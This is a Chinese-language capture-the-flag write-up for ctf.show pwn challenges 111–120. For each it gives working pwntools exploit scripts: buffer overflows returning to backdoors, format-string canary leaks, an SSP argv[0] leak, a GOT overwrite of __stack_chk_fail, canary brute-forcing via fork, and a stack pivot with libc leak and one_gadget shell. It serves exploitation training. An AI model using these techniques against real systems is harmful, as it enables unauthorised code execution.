pwn111
没难度


确实是一个简单的栈溢出,需要ret2libc,唉等等,有后门

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#p = process('./pwn109')
p = remote('pwn.challenge.ctf.show',28206)
elf = ELF('./pwn111')
offset=0x80+8
back=0x400697
payload=b'a'*offset+p64(back)
p.sendline(payload)
p.interactive()

pwn112
满足一定条件即可


一看知道n17=17的时候有好东西,跟进

果然可以拿到flag,那么怎么让n17=17呢
n17的位置在bass段


原来var的位置也在bass段,n17是var[13]

所以我们把var[13]覆盖成17就行了,0x11
from pwn import *
context(arch='i386',os='linux',log_level='debug')
#p = process('./pwn109')
p = remote('pwn.challenge.ctf.show',28132)
elf = ELF('./pwn112')
payload=p32(0x11)*0xe
p.sendline(payload)
p.interactive()

pwn113
理清逻辑,题目不难。

呃,先放放吧
pwn114
现在你应该学会了吧

int __fastcall main(int argc, const char **argv, const char **envp)
{
char s1[10]; // [rsp+16h] [rbp-3FAh] BYREF
char s[1004]; // [rsp+20h] [rbp-3F0h] BYREF
int char; // [rsp+40Ch] [rbp-4h]
init(argc, argv, envp);
logo();
signal(11, sigsegv_handler);
flagishere();
while ( 1 )
{
puts("Do you know Canary now?");
puts("Input 'Yes' or 'No': ");
__isoc99_scanf("%s", s1);
if ( !strcmp(s1, "Yes") )
break;
if ( !strcmp(s1, "No") )
{
puts("I'm sorry to hear that! Come on.");
return 0;
}
puts("Invalid input, please enter again!");
}
puts("Ok,I know you got it!");
puts("Tell me you want: ");
do
char = getchar();
while ( char != 10 && char != -1 );
fgets(s, 1000, stdin);
ctfshow(s);
return 0;
}
main函数中,一开始读取了flag,但是没有输出,判断我们需要选Yes,然后进行输入
跟进ctfshow

拷贝了s到dest,可以溢出就有flag
直接生成0x100个字符就行

pwn115
Bypass Canary 姿势1


我们发现有后门可以ret2,跟进ctfshow函数

程序有两次输入

我们需要先利用格式化字符串泄露canary然后进行ret2text
我们直接套公式((0xd4-0xc)/4)+5=55
偏移是55
from pwn import *
context(arch='i386',os='linux',log_level='debug')
# p = process('./pwn115')
p = remote('pwn.challenge.ctf.show',28144)
elf = ELF('./pwn115')
payload=b'aaaa'+b'%55$p'
p.send(payload)
p.recvuntil(b'aaaa0x')
canary=int(p.recv(8),16)
print(f'canary={hex(canary)}')
payload1=b'a'*(0xd4-0xc)+p32(canary)+b'a'*0xc+p32(0x80485A6)
p.sendline(payload1)
p.interactive()

pwn116
Bypass Canary 姿势2


有后门,跟进ctfshow函数

我们同样利用格式化字符串泄露canary,先计算和验证canary的偏移

((0x2c-0xc)/4=8 加上格串偏移7等于15

from pwn import *
context(arch='i386',os='linux',log_level='debug')
#p = process('./pwn116')
p = remote('pwn.challenge.ctf.show',28291)
elf = ELF('./pwn116')
payload=b"aaaa%15$p"
#gdb.attach(p,'b 0x8048640')
p.sendline(payload)
p.recvuntil("aaaa0x")
canary=int(p.recv(8),16)
print(f'canary={hex(canary)}')
payload2=b'a'*(0x2c-0xc)+p32(canary)+b'a'*0xc+p32(0x8048586)
p.sendline(payload2)
p.interactive()

pwn117(SSP Leak)

int __fastcall main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+2Ch] [rbp-114h]
_BYTE v5[264]; // [rsp+30h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+138h] [rbp-8h]
v6 = __readfsqword(0x28u);
logo();
init();
fd = open("/flag", 0);
if ( !fd )
{
puts("No such file or directory.");
exit(-1);
}
read(fd, &buf, 0x100u);
puts("Haha,It has reduced you a lot of difficulty!");
gets(v5);
return 0;
}
这道题需要用到Stack Smashing Protect Leak,可以获取内存中的值
注意看结尾处如果canary的值被改变就会在结束前执行__stack_chk_fail


我们可以了解一下这个函数
eglibc-2.19/debug/stack_chk_fail.c
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminatedn",
msg, __libc_argv[0] ?: "<unknown>");
}
这道题后面get()存在栈溢出,当栈溢出可以覆盖程序中的argv[0]时,我们可以用这个方法打印任意地址的值,比如这里的bass段

但是我的偏移算出来是528,正确偏移是504
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#p = process('./pwn117')
p = remote('pwn.challenge.ctf.show',28232)
elf = ELF('./pwn117')
payload=b"a"*504+p64(0x6020A0)
#gdb.attach(p,'b main')
p.sendline(payload)
p.interactive()

可能是我的libc版本高了一点
pwn118
Bypass Canary 姿势4


有后门
跟进ctfshow函数

有栈溢出和格式化字符串漏洞,但是有一个问题,我们只能用一次,我们需要想办法让程序在运行就可以,但是看了wp有更好的办法,劫持__stack_chk_fail函数,因为如果canary被篡改就会调用这个函数,我们把它改成get_flag就可以拿到flag
看看偏移是7

填充到0x5c-c=0x50
from pwn import *
context(arch='i386',os='linux',log_level='debug')
#p = process('./pwn117')
p = remote('pwn.challenge.ctf.show',28284)
elf = ELF('./pwn118')
stackcheck=elf.got['__stack_chk_fail']
get_flag=elf.sym['get_flag']
payload=fmtstr_payload(7,{stackcheck:get_flag})
payload=payload.ljust(0x50,b'a')
p.sendline(payload)
p.recv()
p.interactive()
pwn119
Bypass Canary 姿势5


while ( 1 )
{
puts("Try PWN Me!");
if ( !fork() )
break;
wait(0);
}
ctfshow();
exit(0);
}
这个循环里面有一个fork函数
跟进ctfshow函数

有栈溢出和canary
.fork函数究竟在干什么?————>父子进程共享代码段,各自拥有数据段(写时拷贝)
所以在同一个进程中canary是相同的,我们可以爆破
from pwn import *
context.log_level = 'debug'
#io = process('./pwn119')
io = remote('pwn.challenge.ctf.show',28121)
elf = ELF('./pwn119')
backdoor = 0x08048636
canary = b'\x00'
for i in range(3):
for j in range(0, 256):
payload = b'a' * (0x70 - 0xC) + canary + p8(j)
io.send(payload)
sleep(0.3)
text = io.recv()
print(text)
if (b"stack smashing detected" not in text):
canary += p8(j)
print(b"Canary: " + canary)
break
print('Canary:'+ hex(u32(canary)))
payload = b'a' * (0x70 - 0xC) + canary + b'a' * 0xc + p32(backdoor)
io.send(payload)
io.recv()
io.interactive()

pwn120
Bypass Canary 姿势6


这道题应该是要泄露libc的,main中的pthread_create是创建线程,pthread_join是线程结束线程间同步,跟进一下start函数

主要利用n0x5000 <= 20480的情况,跟进readn
主要也是体现溢出,我们会覆盖canary当溢出足够大时,我们会把栈上的和TLS(创建线程的时候创建)中的canary一起覆盖掉
覆盖大小是0x510,我们需要找依一些gadget
我们需要把栈迁移到bass段,因为栈不可执行,所以需要leave的地址,bass段的地址
栈布局:
[ buffer ... ]
[ saved rbp ] <-- 改成 bss_addr - 8
[ return addr ]
leave操作之后就实现了栈迁移
然后正常泄露puts
我们需要写一个one_gadget到stack_pivot上,所以需要一个read为后面发送onegadget做准备read(ssize_t read(int fd, void *buf, size_t count)只需要设置前两个,0,bass_addr然后执行leave
gadget:
0x0000000000400be3 : pop rdi ; ret
0x0000000000400be1 : pop rsi ; pop r15 ; ret
0x00000000004006be : ret
0000000000400B71 018 C9 leave
data:0000000000602000

泄露出来应该是2.27的,找到一些one_gadget
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a vali
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#p = process('./pwn120')
p = remote('pwn.challenge.ctf.show',28109)
elf = ELF('./pwn120')
libc=ELF("/home/faetong/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
data_addr=0x602000
pop_rdi_ret=0x400be3
pop_rsi_r15_ret=0x400be1
leave_addr=0x400B71
one_gadget=0x4f302
read_addr=elf.sym['read']
payload1=b'a'*0x510+p64(data_addr-8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(data_addr)+p64(0)+p64(read_addr)+p64(leave_addr)
payload1=payload1.ljust(0x1000,b'a')
p.sendlineafter("time?\n",str(0x1000))
p.send(payload1)
sleep(0.5)
#print(p.recv())
p.recvuntil(b"See you next time!\n")
puts_addr = u64(p.recv(6).ljust(8, b"\x00"))
print(hex(puts_addr))
base_addr=puts_addr-libc.sym['puts']
one_gadget_real=one_gadget+base_addr
payload2=p64(one_gadget_real)
p.send(payload2)
p.interactive()











